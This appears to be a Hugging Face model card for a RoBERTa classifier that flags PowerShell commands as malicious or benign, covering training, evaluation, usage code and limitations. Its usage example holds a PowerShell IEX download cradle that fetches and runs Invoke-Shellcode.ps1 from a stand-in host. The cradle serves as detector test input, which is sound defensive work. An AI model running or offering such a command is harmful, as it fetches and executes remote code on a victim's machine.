File size: 2,920 Bytes
432f85a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
# neon-roberta-finetuned-powershell-detector
## ⚡ PowerShell Command Classifier (RoBERTa-base fine-tuned)
This model is a fine-tuned [RoBERTa-base](https://huggingface.co/roberta-base) model for binary classification of PowerShell scripts. It predicts whether a given PowerShell command or script is **malicious (1)** or **benign (0)**.
---
## 📦 Model Details
- **Base model**: `roberta-base`
- **Task**: Sequence Classification
- **Classes**:
- `0` — Benign
- `1` — Malicious
- **Dataset**: Custom-labeled dataset of real-world PowerShell commands
- **Input format**: Raw PowerShell command text (single string)
- **Tokenizer**: `roberta-base` tokenizer
---
## 🏁 Training Details
- **Epochs**: 3
- **Batch size**: Depends on context (e.g. 16 or 32 with gradient accumulation)
- **Optimizer**: AdamW
- **Learning rate**: 2e-5 with linear decay
- **Loss**: Cross-entropy
- **Hardware**: Fine-tuned on AWS `g5.4xlarge` with A10G GPU
---
## 📈 Evaluation Results
| Metric | Value |
|----------------|----------|
| Accuracy | ~98.7% |
| Eval Loss | ~0.089 |
| Final Train Loss | ~0.058 |
| Runtime per Epoch | ~2 mins |
---
## 🚀 How to Use
```python
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import torch
tokenizer = AutoTokenizer.from_pretrained("YOUR_USERNAME/finetuned-roberta-powershell-detector")
model = AutoModelForSequenceClassification.from_pretrained("YOUR_USERNAME/finetuned-roberta-powershell-detector")
def classify_powershell(script):
inputs = tokenizer(script, return_tensors="pt", truncation=True, padding=True)
with torch.no_grad():
outputs = model(**inputs)
logits = outputs.logits
prediction = torch.argmax(logits, dim=1).item()
return "malicious" if prediction == 1 else "benign"
example = "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/Invoke-Shellcode.ps1');"
print(classify_powershell(example))
```
---
## 🔍 Intended Use
This model is meant for **PowerShell threat detection** and research use in **cybersecurity automation pipelines**, such as:
- Security Operations Center (SOC) triage tools
- Malware analysis and sandboxing systems
- SIEM/EDR integrations
- AI-assisted incident response
---
## ⚠️ Limitations & Considerations
- This model is trained on a specific dataset of encoded PowerShell scripts and may not generalize well to **obfuscated** or **novel attack patterns**.
- Should not be used as the sole decision-maker for security classification—best used as a signal in a larger detection system.
- May produce false positives for rare or edge-case benign scripts.
---
## 📄 License
MIT or Apache 2.0 (specify your license)
---
## 🙏 Acknowledgements
- Base model from [RoBERTa (Liu et al., 2019)](https://arxiv.org/abs/1907.11692)
- Transformers by [Hugging Face](https://huggingface.co/transformers/)
|